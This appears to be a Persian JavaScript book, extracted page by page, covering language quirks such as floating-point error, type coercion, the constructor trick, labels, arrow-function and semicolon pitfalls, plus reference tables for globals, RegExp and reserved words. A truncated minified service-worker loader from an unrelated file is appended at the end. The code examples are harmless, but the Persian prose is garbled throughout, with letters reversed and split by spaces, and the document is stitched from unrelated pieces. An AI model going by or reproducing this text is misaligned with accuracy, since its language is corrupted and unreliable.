وشیم در گ جو ز د دع ن یرتکیدزن ه ب ه دش ر ک ذ دا دع ا هدو د ح م 0.2 و 0.1 عم ج لصاح یتسرد :دشابیم ترا ب ع ن یا ی س ی و نه ما نر ب ه ن یمز ر د د وجوم یاه ک وج ن یرتیمی دق ز ا یکی var precision = 0.1 + 0.2; -> 0.30000000000000004 precision === 0.3 ; // -> false کی یو ر ر ب رظن د روم یضا ی ر تای لم ع م ا جنا ل یل د ه ب ، تسا هد ا س ا طخ نیا زو ر ب ل یل د ع ق او ر د ،2 / 1 و د ن کیم هد افت سا 5 , 2 یل ص ا ی اهروتکا ف ز ا ه ک ،ام یاه مت سی س د نن ام ، هد ی ا نب م ر ب مت سی س ل م ا وع ز ا اهرای ع م ن یا ز ا کی ر ه اری ز ، در ک هد افت سا ی گ د ا س ه ب م ی نا وتیم ا ر 10 / 1 و 8 / 1 ،5 / 1 ،4 / 1 ر د ،د وب د ن ه ا و خ توافتم اه ت یهام ن یا 2 ی ا نب م ر د مت سی س کی ر د ام ا ، د نن کیم هد افت سا 10 ز ا ه یلو ا د وشیم ر ارکت 10 / 1 ا ی 5 / 1 ه ک یلاح ر د . د ن وشیم نایب ی عط ق روط هب ه م ه 8 / 1 ،4 / 1 ،2 / 1 ،یرنی اب و هتش ا د ن یعط ق ه ج یت ن )5 / 1 و 10 / 1( 0،2 و 0،1 نیار با ن ب ،م ی ن کی من ا دی پ تسد یعط ق ی اهج یت ن ه ب و دا د خ ر ن یا ث عاب و د وشیم م ا جنا ود ی ا نب م ز ا لی د بت ، د ن وشیم م ا جنا ی هده د مت سی س کی ر د نوچ .دشاب ناس نا یار ب ند نا و خ ل باق ی د دع هب ات د وشیم هد افت سا ی ضا ی ر روا ن ش زی م م ز ا ه ک ی ی اهنابز م ا مت هکل ب ، ت سی ن ت پ یرکساو اج ر د طقف لکش م ن یا .تسا ه دش هت خ ا س نآ ی ار ب زی ن 4 تی اسبو کی یت ح ،د ن ر اد ا ر ه ل ئسم نی م ه د نن کیم 3 Binary Floating-Point Arithmetic 4 http://0.30000000000000004.com 224 تپی رکسا او ا ج بلا ج ی اه اطخ ","د دع ه س یا ر ب هسی اقم م ا جنا 1 < 2 < 3 ; // -> true 3 > 2 > 1 ; // -> false '؟ه نکم م یرو ط چ' :دی ی و گ ب د و خ اب ن لاا د ی اش هس ی ا ق م س پ س و ه دش م ا جنا ه س ی ا ق م نیلو ا ه ک ار چ ، تسا هد ا س ت پ یرکساو اج اب دا د خ ر ن یا ه یجوت و ح ی ح ص ترا ب ع نیلو ا د وشیم ث عاب ع وضوم نی م ه و د وشیم م ا جنا لوا ه س ی ا ق م ه ج یت ن اب مود .دشاب طلغ ترا ب ع نیمو د 1 < 2 < 3 ; // 1 < 2 -> true true < 3 ; // true -> 1 1 < 3 ; // -> true 3 > 2 > 1 ; // 3 > 2 -> true true > 1 ; // true -> 1 1 > 1 ; // -> false یضا ی ر یا هی زاب تسد ه ب ی ب ی ج ع جی ات ن ،دا دع ا ع و ن ز ا ر ی غ ه ب ،اه هداد عا و نا اب یضا ی ر تا بس ا ح م ی خر ب م ا جنا اب .): دی نکن نا حت م ا هن ا خ ر د ز گ ر ه ا ر اهتای لم ع ه ن و گنیا هتب ل ا و د ی آیم 3 - 1 // -> 2 3 + 1 // -> 4 ‘3’ - 1 // -> 2 ‘3’ + 1 // -> ‘31’! ‘‘ + ‘‘ // -> ‘‘ [] + [] // -> ‘‘ {} + [] // -> 0 [] + {} // -> ‘[object Object]’! {} + {} // -> ‘[object Object][object Object]’!! 225 مه دزای شخب ","‘222’ - - ’111’ // -> 333! [ 4 ] * [ 4 ] // -> 16 [] * [] // -> 0 [ 4 , 4 ] * [ 4 , 4 ] // NaN نی نا وق ی رس کی ت پ یرکساو اج تق ی ق ح ر د ؟ ت سیچ ت پ یرکساو اج ب ی ج ع رات ف ر ه ن وگ ن یا ل یل د ت لای د بت و د و شن ا طخ راچ د ه ما نر ب د ن کیم ی عس ه ک ، د ر اد ی ضا ی ر یاهتای لم ع م ا جنا و یس ر ر ب ی ار ب .ده دی م م ا جنا نآ ی ار ب ه دش ه دیچ قطن م کی س ا سار ب ا ر ی نم ض :م ی ن کیم ه ئا ر ا اه هداد ع و ن و اهتای لم ع ز ا یخر ب ی ار ب هد ا س یل ک لو دج کی Number + Number -> addition Boolean + Number -> addition Boolean + Boolean -> addition Number + String -> concatenation String + Boolean -> concatenation String + String -> concatenation :د نت سی ن instanceof String اههتشر هک دی ن ک هجوت هت ب ل ا “str” ; // -> ‘str’ typeof “str” ; // -> ‘string’ “str” instanceof String ; // -> false تسا ه د شن هتخ ا س یا يش چ یه هتشر یه د ر ا د ق م اب هک ار چ ، تسا ت پ یرکساو اج اب ق ح تق ی ق ح ر د :م ی ن ک نا حت م ا ا ر ی رگید شو ر دیه د ه زاج ا ، دشاب م ه String ز ا یا instance هک typeof String ( “str” ); // -> ‹string› String ( “str” ); // -> ‹str› String ( “str” ) == «str» ; // -> true String ( “str” ) instanceof String ; // -> false ،اب نا نچم ه instanceof یس ر ر ب ، تسا ه د شن د ا جیا object زو ن ه نوچ هک م ی ن کیم ه دها ش م یح ی ح ص ب ا وج ی س ر ر ب ن یا م یه ا وخب ر گ ا .ت سی ن ر ب ار ب ، تسا String هک اههتشر ه د نن اشو پ object .م ی ن ک هد افت سا new ز ا ت س ی ابیم ،دشاب هتش اد 226 تپی رکسا او ا ج بلا ج ی اه اطخ ","new String ( “str” ) == “str” ; // -> true typeof new String ( “str” ); // -> ‘object’ // object ? new String(“str”); // -> [String: ‘ str ’] call مهر س ت ش پ ی نا و خارف :تسا ه دش ا دی پ @cramforce طس وت د روم ن یا console .log.call.call.call.call.call.apply( a => a, [ 1 , 2 ]); نی د ن چ ن در ک ل ا م ع ا یت ح ، میاهدر ک ل ا م ع ا console.log هب apply اب ا ر call دتم ل اثم ن یا ر د ام ،دشاب گن گ نات یار ب ی م ک د ی اش ، در کی من د ا جیا یلکش م ،ندش ی نا و خارف هر ی جن ز هب رگید call .دی ن ک ه ع لا ط م ی م ک ا ر app و call یاهدتم هب ط وب ر م ت ا د نت سم دی نا وتیم constructor یگژ یو const c = “constructor” ; c[c][c]( ‘console.log(“MyMessage?”)’ )(); // > MyMessage? دیه د ه زاج ا ؟ تسا ه دش parse ه دش هداد هت شر ی نعی ،ه ک تسا نیا د ی آیم ش ی پ ه ک یل ا و س ن یلو ا :میر ب و ل ج ه ل ح ر م هب ه ل ح ر م تروص هب ا ر ل اثم ن یا // Declare a new constant which is a string ‘constructor’ const c = “constructor” ; // c is a string c; // -> ‘constructor’ // Getting a constructor of string c[c]; // -> [Function: String] 227 مه دزای شخب ","// Getting a constructor of constructor c[c][c]; // -> [Function: Function] // Call the Function constructor and pass // the body of new function as an argument c[c][c]( ‘console.log(“WTF?”)’ ); // -> [Function: anonymous] // And then call this anonymous function // The result is console-logging a string ‘What?’ c[c][c]( ‘console.log(“What?”)’ )(); // > What? طس وت هک ده دی م تش گزاب ا ر ی ع بات، Object ه د ن زا س سنرف ر Object.prototype.constructor دتم ، میدر ک هد افت سا هت شر ز ا ه ک ل اثم ن یا ر د .تسا ه دش هت خ ا س object یار ب رظن د روم instance هی ق ب ی ار ب ب یت رت ن ی م ه هب و د وبیم Number میدر کیم هد افت سا دا دع ا ز ا ر گ ا ،د وب ده ا و خ String ع بات ی ار ج ا IIFE ع بات تروص هب ،د ی دج ع بات ه ن دب ن داد س ا پ و ه د ن زا س دتم ی نا و خارف اب .اه هداد ع و ن .ددر گیم م ا جنا تسا object کی object زا یگژ یو کی دیل ک // create sth { [{}]: {} } // { ‘[object Object]’: {} } لی د بت یار ب هک ی نع م ن یا ه ب ،د نی وگیم ه دش ) property computed (ش ز ادرپ ی گژ یو ،ت لاح ن یا ه ب ن ا و ن ع هب ه دش ش ز ادرپ تروص هب و م یه دی م ر ار ق ] [ لخاد ا ر نآ ،یگژ یو ه ب رظن د روم ترا ب ع ندش هتشر د ا جیا و نآ ش ز ادرپ ث عاب ، ] [ لخاد ر د { } ن داد ر ار ق زی ن ل اثم ن یا ر د ،د وشیم هد افت سا ی گژ یو .م یه د م ا جنا ا ر راک ن یا یاهر ی جن ز تروص هب م ی نا وتیم یتح . د وشیم Object 228 تپی رکسا او ا ج بلا ج ی اه اطخ ","({ [{}]: { [{}]: {} } }[{}][{}]); // -> {} // structure: // { // ‘[object Object]’: { // ‘[object Object]’: {} // } // } prototypes ه ب یس رت سد نکم م ل اح ن یا اب .د نت سی ن prototype یا ر اد ) pirimitive ( یل ص ا رید ا ق م م ی نا دیم هک ه ن و گن ا م ه :دی ن ک هد افت سا شو ر ن یا ز ا اهنآ prototype هب یبایت سد یار ب تسا ( 1 ).__proto__.__proto__.__proto__; // -> null دتم طس وت دشا بن prototype یا ر اد ی ر ا د ق م کی یت قو هک ده دی م خ ر ل یل د نیا ه ب ه ل ئسم ن یا :م ی ن ی ب ب ه ل ح ر م هب ه ل ح ر م تروص هب ، د وشیم ه د ن اشو پ ToObject ( 1 ) .__proto__( // -> [Number: 0] 1 ) .__proto__.__proto__( // -> {} 1 ).__proto__.__proto__.__proto__; // -> null بیجع Object تخ اس ؟ د وب ده ا و خ تروص هچ هب د ع ب دک ه کت ش ز ادرپ هج یت ن ، ا م ش رظن ه ب 229 مه دزای شخب ","`${{ Object }}` ; :ری ز لک ش هب ، خس ا پ // -> ‘[object Object]’ notation property Shorthand ز ا هد افت سا اب ا ر ت سه object یگژ یو یا ر اد ه ک Object کی ام :تسا هد وب ری ز لک ش هب ام دک ،ی ل ک ت لاح ر د ینعی ،میاهدر ک فیرعت { Object: Object ; } ع بات کی ل ا م ع ا اب ه ج یت ن و دشاب پ اچ ل باق هک میا هد روآ ر د لارت یل ب لاق هب ا ر دک ه کت نیا ام س پ س .تسا ه دش پ اچ ' ] Object object [' تروص هب toString )labels ( ا هبس چ ر ب ت ی ل باق هک یلاح ر د ، د ن ر ا د ن ید ا ی ز تاع لا ط ا label د روم ر د ت پ یرکساو اج یاه سی و نه ما نر ب ر ثک ا :تسا یب لاج foo: { console .log( “first” ); break foo; console .log( “second” ); } // > first // -> undefined یار ب label ز ا ن ا وتیم ،د ن وشیم هد افت سا continue و break اب بلغا ه دش ر اد label ت ا را ب ع .در ک هد افت سا break ز ا م ز لا ع ق ا وم ر د و در ک هد افت سا هقل ح یاهی س ر ر ب label زا وتردوت هدافتسا a: b: c: d: e: f: g: 1 , 2 , 3 , 4 , 5 ; // -> 5 230 تپی رکسا او ا ج بلا ج ی اه اطخ ","م ک ل یلدب ، تسا ه دش ی نا و خارف وتر د وت تروص هب ام ا ،تسا ه دش هد افت سا label ز ا ق و ف ل اثم د نن ا م ه .م ی ن کیم ر ا ذگ او ا م ش هب ا ر د روم ن یا یل ک یاهی س ر ر ب لب یل ع وضوم ن د وب در براک !بیجع try..catch ؟ 3 ا ی 2 ؟ د وب ده ا و خ یز یچ هچ ری ز ه کت ی جو رخ ا م ش رظن ه ب ( () => { try { return 2 ; } finally { return 3 ; } })(); .دشابیم try کلا ب ی در کراک ت یهام م ه ع وضوم ل یل د .تسا 3 خس ا پ !ب لاج arrow functions :دی ن ک هجوت ری ز ل اثم هب let f = () => 10 ; f(); // -> 10 :ری ز دک د روم ر د ام ا ،د وب نی م ه م ه ام را ظتنا و هتس ر د let f = () => {}; f(); // -> undefined ع بات ق و ف دک ه کت و تسا ه ا بت ش ا را ظتنا نیا ه ک یلاح ر د ، د ی وش هج ا وم {} اب دیتش اد را ظتنا د ی اش یر ا د ق م و ت سی ن یاهن دب چ یه ی ا ر اد ه دش د ا جیا ع بات ن یا ، ده دی م ر ار ق f ر یغتم ر د فیرعت ا ر ید ی دج :م ی ن ک لم ع م یتس نا وتیم ری ز تروص هب ،ده د تش گزاب object م یت سا وخیم ر گ ا . ده دیمن تش گزاب ا ر let f = () => ({}); f(); // -> {} 231 مه دزای شخب ","arrow functions و ا ه ناموگرآ :دی ن ک هجوت ری ز دک ه کت ه ب // regular function let f = function () { return arguments ; }; f( “a” ); // -> { ‘0’: ‘a’ } // arrow function let fa = () => arguments; fa ( “a” ); // -> Uncaught ReferenceError: arguments is not defined ر گ ا ،د ر ا د ن د وجو arrow ع ب ا وت ر د arguments ر یغتم ،ده دی م نا شن ق و ف دک ه کت ه ک رو طن ا م ه ه ل ب :م ی ن ک لم ع ری ز لک ش هب م ی نا وتیم ، میر ی گ ب ع بات ز ا یدو رو ناموگرآ دا د عت n م یه ا وخب let f = ( ...args ) => args; f( “a” ); return ها بت شا هدافتسا هج ا وم ا طخ اب ا ر هما نر ب تسا نکم م و د ر اد ا ر د و خ ص ا خ تا کن ز ی ن return یدی ل ک ه مل ک ز ا هد افت سا یار ب ،د ن وش ش وم ارف د ی ا بن زی ر یاههت کن ام ا دشاب نا میار ب هد ا س ی عوضوم تسا نکم م ه کنیا اب ،د ن ک ح یضوت ل یل د ند نا و خ نودب دی ن ی ب ب دی ن ک ی عس ،تسا ه دش هتشو ن ص و صخ نیا ر د د ع ب دک ه کت ل اثم ؟ تس ا ج ک هما نر ب یا طخ ه ک د ی وشیم هجوتم ، ه دش هداد ( function () { return { b: 10 ; } })(); // -> undefined 232 تپی رکسا او ا ج بلا ج ی اه اطخ ","و return نتفرگن ر ار ق زج ت سی ن یز یچ نآ ل یل د و د نادر گیم زاب undefined ر ا د ق م IIFE ترا ب ع :در ک ده ا و خ راک یت س ر د ه ب ری ز مرف ه ب ل اثم نا م ه ! طخ کی ر د ه دش هداد تش گزاب ترا ب ع ( function () { return { b: 10 }; })(); // -> { b: 10 } اب لوا ل اثم ر د و دشابیم اه رطس رخ آ ر د semicolon راک د و خ ندش ج ر د ،دا د خ ر ن یا یقطن م ل یل د .د وشیم هداد تش گزاب undefined ،ح ی ح ص درکلم ع یاج هب return ز ا د ع ب ; نت فر گ ر ار ق Math.min زا تسا رتک چوک Math.max Math .min( 1 , 4 , 7 , 2 ); // -> 1 Math .max( 1 , 4 , 7 , 2 ); // -> 7 Math .min(); // -> Infinity Math .max(); // -> -Infinity Math .min() > Math .max(); // -> true ا هری غتم د دج م یف ر عم :ل اثم ی ار ب ، م ی ن ک ی فرع م اد د ج م ، میاهدر ک ی فرع م لاب ق هک ا ر ر یغتم کی م ی نا وتیم ت پ یرکساو اج ر د a; a; // This is also valid a, a; :د ن کیم راک ا طخ نودب زی ن ) mode strict ( هنار ی گت خ س ت لاح ر د یت ح 233 مه دزای شخب ","var a, a, a; var a; var a; .د وشیم هت فر گ رظن ر د ندش ی فرع م را بکی ن ا و ن ع هب اهی فرع م م ا مت هیا رآ sort ع بات ضر ف شی پ راتفر :ری ز دک ه کت د نن ام .دی ن ک بتر م ا ر اهنآ sort ع بات اب دیه ا و خی م و د ی ر اد دا دع ا ز ا یاهیا رآ دی ن ک رو صت [ 10 , 1 , 3 ].sort() // -> [ 1, 10, 3 ] س پ س و هدر ک لی د بت هت شر هب ا ر د وجوم ر صا ن ع ت پ یرکساو اج ، sort دتم ر د ضر ف ش ی پ تروص هب د روم یزا سبتر م تای لم ع ق و ف ی جو رخ سپ ، د ن کیم هس ی ا ق م UTF-8 دک اب ا ر ه دش د ا جیا ی اههتشر !ت سی ن دا دع ا یار ب ام رظن یس ر ر ب اب هک ی اه د نن ک هس ی ا ق م ع بات ز ا هد افت سا اب و در ک هد افت سا ری ز تروص هب ی ک ی نکت ن ا وتیم هت ب ل ا :م یه د م ا جنا ا ر ح ی ح ص یزا سبتر م تای لم ع ،ده دی م تش گزاب ا ر ه ج یت ن ر صا ن ع قیر فت ل صاح [ 10 , 1 , 3 ].sort(( a, b ) => a - b) // -> [ 1, 3, 10 ] 234 تپی رکسا او ا ج بلا ج ی اه اطخ ","دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .دی ن ک ل ی لحت رتیقطن م ید ید اب ا ر ل و قع م ر ی غ ی اها طخ .دیه د م ا جنا ا طخ نودب یس ی و ن دک و د ی وش هج ا وم ا طخ اب رتم ک .دی س ا نش ب ا ر د ن ه دی م خ ر ت پ یرکساو اج ر د ا هنت ه ک ص ا خ ی اهیگژ یو ز ا یخر ب 235 مه دزای شخب ","236 تپی رکسا او ا ج بلا ج ی اه اطخ ","مه دزاود شخب ی در بر ا ک م ئا م ض و ل و اد ج ∞ :شخب ی ا و تح م هداد عاو ن ا ل ودج یم وم ع ع ب اوت ل ودج ءا ی ش ا و د ا دع ا ع ب اوت و ی گ ژیو RegExp م ظنم تار ا ب ع ی ا منهار ل ودج ) Array( هی ار آ ع ب اوت ل ودج )Date ( خ ی ر ا ت ع ب اوت ل ودج )Math ( ی ضای ر ع ب اوت ل ودج )Number ( ید دع ع ب اوت ل ودج ا ه event ل ودج ","[ ه د ا د ع اونا :تسا ری ز د روم 7 ل ماش ت پ یرکس ا م ک ا ر د ه دش فیرعت هداد عا و نا Boolean Null Undefined Number String )تسا ه دش ی فرع م 6 ت پ یرکس ا م ک ا ر د هداد ع و ن نیا( Symbol Object [ یمو مع عباوت ع بات تا ح یضوت decodeURI)( = & @ :? / , زج هب ص ا خ ی اه رت ک ا راک ن در ک د کید یار ب ه دش د کنا URI کی ر د # $ + decodeURIComponent)( URI کی ر د ص ا خ ی اه رت ک ا راک یما مت ن در ک د کید یار ب encodeURI)( @ :? / , زج هب ص ا خ ی اه رت ک ا راک ) د کنا( ی ر ا ذگدک ی ار ب URI کی ر د # $ + = & encodeURIComponent)( کی ر د ص ا خ ی اه رت ک ا راک یما مت ) د کنا( ی ر ا ذگدک ی ار ب URI eval)( یدو رو ی اهت شر رت م ا را پ یار ج ا و ی با ی زر ا isNaN)( یاه رت م ا را پ ن یی عت یار ب و )( isFinite ع بات س و کع م )دو د ح ما ن( زا ج م ر ی غ دا دع ا ا ی ید دع ر ی غ یدو رو 238 یدر براک م ئ ام ض و لوادج ","Number)( نآ ی د دع لد ا ع م هب ی دو رو ر ا د ق م ر ا د ق م لی د بت یار ب NaN ر ا د ق م ت ش ا د ن د وجو د دع هب لی د بت نا ک م ا ر گ ا( )د وشیم ه د نادر گزاب parseFloat)( ر ا د ق م ند نادر گزاب و ی دو رو ی اهت شر رت م ا را پ ش ز ادرپ روا ن ش زی م م اب ی د دع parseInt)( لد ا ع م ند نادر گزاب و ی دو رو ی اهت شر رت م ا را پ ش ز ادرپ نآ ی د دع String)( نآ ی اهت شر لد ا ع م هب ی دو رو ر ا د ق م لی د بت [ )Object ( ءا ی ش ا و ) Number ( د ادعا ی اهی گژ یو یگژ یو تا ح یضوت constructor دا دع ا ه ب ط وب ر م prototype هک د نادر گیم زاب ا ر ی ع بات د زا سی م ا ر ت پ یرکساو اج MAX_VALUE ت پ یرکساو اج ر د نکم م د دع ن یرت گرزب MIN_VALUE ت پ یرکساو اج ر د نکم م د دع ن یرتک چوک NEGATIVE_INFINITY )د وشیم ه د نادر گزاب اهز ی ر رس ر د( تی ا هن ی ب یف ن م NaN ) Not-a-Number ( ید دع ر ی غ ر ا د ق م شی ا من POSITIVE_INFINITY )د وشیم ه د نادر گزاب اهز ی ر رس ر د( تی ا هن ی ب تب ثم prototype د روم ها وخل د object هب اهیگژ یو و اهدتم ن دوزفا یار ب در یگیم ر ار ق هد افت سا 239 مه دز ا ود شخب ","[ )Number ی ور ر ب( د ادعا عباوت ع بات تا ح یضوت isFinite)( و زا ج م ی د دع ر ا د ق م ، ع بات ی دو رو رت م ا را پ هکنیا ن یی عت ر ی خ ا ی تسا یدو د ح م isInteger)( تسا ح ی ح ص د دع ر ا د ق م کی هکنیا یس ر ر ب isNaN)( تسا ید دع ر ی غ ر ا د ق م کی هکنیا یس ر ر ب isSafeInteger)( شی ا من ل باق ( تسا ن م ا ید دع ر ا د ق م کی هکنیا یس ر ر ب ). دشاب 754 -IEEE ت م رف ر د toExponential)x( ) Exponential ( یی ا من ت م رف ر د ر ا د ق م کی شی ا من toFixed)x( زی م م ز ا د ع ب ح ی ح ص م قر x اب د دع شی ا من toPrecision)x( x ل وط اب د دع شی ا من toString)( یا هت شر تروص هب د دع شی ا من valueOf)( تروص هب ع بات ن یا( یاهت شر ی دو رو کی ر ا د ق م شی ا من ).د وشیم ی نا و خارف ت پ یرکساو اج طس وت ک یتاموت ا ر ییغت ا ر د وجوم ر ا د ق م و د ن ه دی م ه ئا ر ا یتش گزاب ر ا د ق م ن ا و ن ع هب ،ر ا د ق م کی ع ب ا وت ه م ه : ه جوت .د ن ه د یمن [ RegExp م ظنم تار ابع ی ا م نه ار ) Modifiers( ا ه ه دناری پ یک چوک و یگرزب هب ت ی س اسح نودب و ) global ( یرسارس ی اهو جت سج ل ا م ع ا یار ب اه ه د نار ی پ :د نر یگیم ر ار ق هد افت سا د روم فور ح ) case-insensitive ( 240 یدر براک م ئ ام ض و لوادج ","ه د نار ی پ تا ح یضوت i فور ح ی ک چوک و یگرزب هب س اسح ر ی غ ی اه تق با ط م ل ا م ع ا g ق با طت ن یلو ا نتف ا ی ز ا د ع ب ( یرسارس تروص هب اه تق با ط م ل ا م ع ا ) دبا یی م هم ادا و ه د شن ف قوتم و جت سج m یرطس د ن چ یاهنتم ر د اه ق با طت نتف ا ی )Brackets ( ا هت کا ر ب :د نر یگیم ر ار ق هد افت سا د روم اه رت ک ا راک ز ا یاه زاب نت ف ا ی یار ب اه ت ک ار ب ترا ب ع تا ح یضوت [abc] فور ح ا جنیا ر د( د ن ر اد ر ار ق ت ک ار ب لخاد ر د ه ک ی ی اه رت ک ا راک یما مت نتف ا ی )هن اگ ا دج تروص هب c و b و a [^abc] د ر ا د ن ر ار ق ت ک ار ب لخاد ی اه رت ک ا راک نیب ر د ه ک ی رت ک ا راک ر ه نت ف ا ی ]0-9[ ت ک ار ب لخاد م قر ر ه نت ف ا ی ]^0-9[ ید دع ر ی غ رت ک ا راک ر ه نت ف ا ی )x|y( | رت ک ا راک اب ه دش ص خ ش م یا همتی آ ز ا یدا د خ ر ر ه نت ف ا ی و د وشیم ف قوتم رظن د روم دا د خ ر نیلو ا نتف ا ی ضح م هب ق و ف لو دج د ر ا وم ز ا ما دک ر ه :ه جوت ل اثم روط هب ( در ک هد افت سا اه ه د نار ی پ اب ا هت ک ار ب ب یک رت ز ا د ی اب اه دا د خ ر یما مت نتف ا ی یار ب ن یار با ن ب .) h]/g^]/ ) Metacharacters( ا هرت کاراکاتم :تسا ه دش حیرشت ری ز لو دج ر د ه ک د نت سه ص و صخ ه ب یا نع م اب و ه ژ یو ی اه رت ک ا راک 241 مه دز ا ود شخب ","رت ک ا راکاتم تا ح یضوت . یرت ک ا راک ر ه ا ی د ی دج رطس ه ب ط وب ر م رت ک ا راک زج هب ی کت رت ک ا راک کی دشاب طخ ی ا هتنا ی ا نع م هب هک w ) _ ( نیری ز طخ ن ی نچم ه و 9 -0 ،a-z، A-Z ی اه رت ک ا راک نت ف ا ی یار ب W طخ ن ی نچم ه و 9 -0 ،a-z، A-Z ز ج هب اه رت ک ا راک یما مت نتف ا ی یار ب ) _ ( نیری ز d )م قر ( ید دع رت ک ا راک کی نتف ا ی یار ب D ید دع ر ی غ رت ک ا راک کی نتف ا ی یار ب s یلا خ ی ا ضف رت ک ا راک نت ف ا ی یار ب S یلا خ ی ا ضف ز ا ر ی غ یرت ک ا راک نت ف ا ی یار ب b همل ک یا هتنا ا ی ا دتب ا ر د ق با طت نتف ا ی یار ب B دشا بن همل ک یا هتنا ا ی ا دتب ا ر د ه ک ی ق با طت نتف ا ی یار ب 0 NUL رت ک ا راک نت ف ا ی n د ی دج رطس رت ک ا راک نت ف ا ی f د ی دج ه ح فص رت ک ا راک نت ف ا ی r ) return ( تش گزاب رت ک ا راک نت ف ا ی t بت رت ک ا راک نت ف ا ی v ید و م ع بت رت ک ا راک نت ف ا ی xxx )ل اتک ا( یتش ه تش ه د دع اب لد ا ع م نیت لا رت ک ا راک نت ف ا ی xdd )ل ا م ی سدازگ ه ( 16 هی ا پ د دع اب لد ا ع م نیت لا رت ک ا راک نت ف ا ی uxxxx )ل ا م ی سدازگ ه ( 16 هی ا پ د دع اب لد ا ع م د ک ی ن و ی رت ک ا راک نت ف ا ی 242 یدر براک م ئ ام ض و لوادج ",") Quantifiers( ا هجن ستی م ک ترا ب ع تا ح یضوت n+ دشاب n رت ک ا راک کی ل ق ا دح ل ماش هک ی اهت شر ر ه n* دشاب n رت ک ا راک کی ل ق ا دح ل ماش ا ی و n رت ک ا راک نودب هک ی اهت شر ر ه n? دشاب n رت ک ا راک کی ً ا ق یق د ا ی و n رت ک ا راک نودب هک ی اهت شر ر ه n{X} دشاب n رت ک ا راک ز ا یی ات x یاه لا بند ل ماش هک ی اهت شر ر ه n{X,Y} دشاب n رت ک ا راک y ات x ز ا یاه لا بند ل ماش هک ی اهت شر ر ه n{X,} دشاب n رت ک ا راک ز ا یی ات x ل ق ا دح ی اه لا بند ل ماش هک ی اهت شر ر ه n$ دشاب n نآ رخ آ رت ک ا راک هک ی اهت شر ر ه ^n دشاب n نآ لوا رت ک ا راک هک ی اهت شر ر ه ?=n در ی گ ب ر ار ق n رت ک ا راک نآ ز ا د ع ب ه ل صا فلا ب هک ی اهت شر ر ه ?!n )?= n س و کع م ( در ی گن ر ار ق n رت ک ا راک نآ ز ا د ع ب ه ل صا فلا ب هک ی اهت شر ر ه ) RegExp( م ظ ن م تا را بع ی ا ه یگژ یو Property Description constructor د نادر گیم ر ب ا ر RegExp ه د ن زا س ع بات global g ه د نار ی پ ن د و بن ا ی ن د وب تس ن در ک ک چ ignoreCase i ه د نار ی پ ن د و بن ا ی ن د وب تس ن در ک ک چ lastIndex د ن کیم یر ا د هگن ا ر ید ع ب ق با طت ن در ک ک چ عور ش هب ط وب ر م سی د نا multiline m ه د نار ی پ ن د و بن ا ی ن د وب تس ن در ک ک چ 243 مه دز ا ود شخب ","source د نادر گیم ر ب ا ر مظن م ترا ب ع یو گ ل ا نت م ) RegExp( م ظ ن م تا را بع ی ا هدت م Method Description compile)( د ع ب هب و 1.5 ه را م ش هخس ن ز ا ی گژ یو نیا( مظن م ترا ب ع کی لی اپماک )تسا ه دش خ وس ن م exec)( )ق با طت ن یلو ا ند نادر گزاب ( هت شر کی ر د ق با طت یس ر ر ب test)( ) د نادر گیم زاب false ا ی true ر ا د ق م ( هت شر کی ر د ق با طت یس ر ر ب toString)( مظن م ترا ب ع کی یاهت شر لد ا ع م تپیرک سا و اج رد ه د ش و رزر ی دیل ک ت ا مل ک هلم ج ز ا فلت خم لیلاد ه ب هک تسا یت ا مل ک نی نچم ه و ه دش ورزر یدی ل ک تا مل ک ل ماش ری ز لو دج ن ا و ن ع هب اهنآ باخت نا ز ا د ی اب و د نت سی ن هد افت سا ل باق html ر د هد افت سا ا ی و او اج نابز اب لخا دت .در ک زیه رپ ت پ یرکساو اج نابز اب یس ی و نه ما نر ب م ا گن ه هب ر یغتم م ا ن abstract else instanceof super boolean enum int switch break export interface synchronized byte extends let this case false long throw catch final native throws char finally new transient class float null true 244 یدر براک م ئ ام ض و لوادج ","const for package try continue function private typeof debugger goto protected var default if public void delete implements return volatile do import short while double in static with alert frames outerHeight all frameRate outerWidth anchor function packages anchors getClass pageXOffset area hasOwnProperty pageYOffset Array hidden parent assign history parseFloat blur image parseInt button images password checkbox Infinity pkcs11 clearInterval isFinite plugin clearTimeout isNaN prompt clientInformation isPrototypeOf propertyIsEnum close java prototype closed JavaArray radio 245 مه دز ا ود شخب ","confirm JavaClass reset constructor JavaObject screenX crypto JavaPackage screenY Date innerHeight scroll decodeURI innerWidth secure decodeURIComponent layer select defaultStatus layers self document length setInterval element link setTimeout elements location status embed Math String embeds mimeTypes submit encodeURI name taint encodeURIComponent NaN text escape navigate textarea eval navigator top event Number toString fileUpload Object undefined focus offscreenBuffering unescape form open untaint forms opener valueOf frame option window ز ا هد افت سا ، دشابیم د نس ی اه دا د خ ر هب صت خم هک ری ز یما سا ر براک هد افت سا د روم ر گرو ر م هب هتسب 246 یدر براک م ئ ام ض و لوادج ",":در ی گن ر ار ق هد افت سا د روم تسا رته ب سپ ،د وش هج ا وم ا طخ اب تسا نکم م اهنآ onbeforeunload ondragdrop onkeyup onmouseover onblur onerror onload onmouseup ondragdrop onfocus onmousedown onreset onclick onkeydown onmousemove onsubmit oncontextmenu onkeypress onmouseout onunload 247 مه دز ا ود شخب ","",""] ================================================ FILE: HTML/sw.js ================================================ if(!self.define){const e=e=>{"require"!==e&&(e+=".js");let i=Promise.resolve();return f[e]||(i=new Promise(async i=>{if("document"in self){const f=document.createElement("script");f.src=e,document.head.appendChild(f),f.onload=i}else importScripts(e),i()})),i.then(()=>{if(!f[e])throw new Error(`Module ${e} didn’t register its module`);return f[e]})},i=(i,f)=>{Promise.all(i.map(e)).then(e=>f(1===e.length?e[0]:e))},f={require:Promise.resolve(i)};self.define=(i,b,a)=>{f[i]||(f[i]=Promise.resolve().then(()=>{let f={};const d={uri:location.origin+i.slice(1)};return Promise.all(b.map(i=>{switch(i){case"exports":return f;case"module":return d;default:return e(i)}})).then(e=>{const i=a(...e);return f.default||(f.default=i),f})}))}}define("./sw.js",["./workbox-cae64c9a"],(function(e){"use 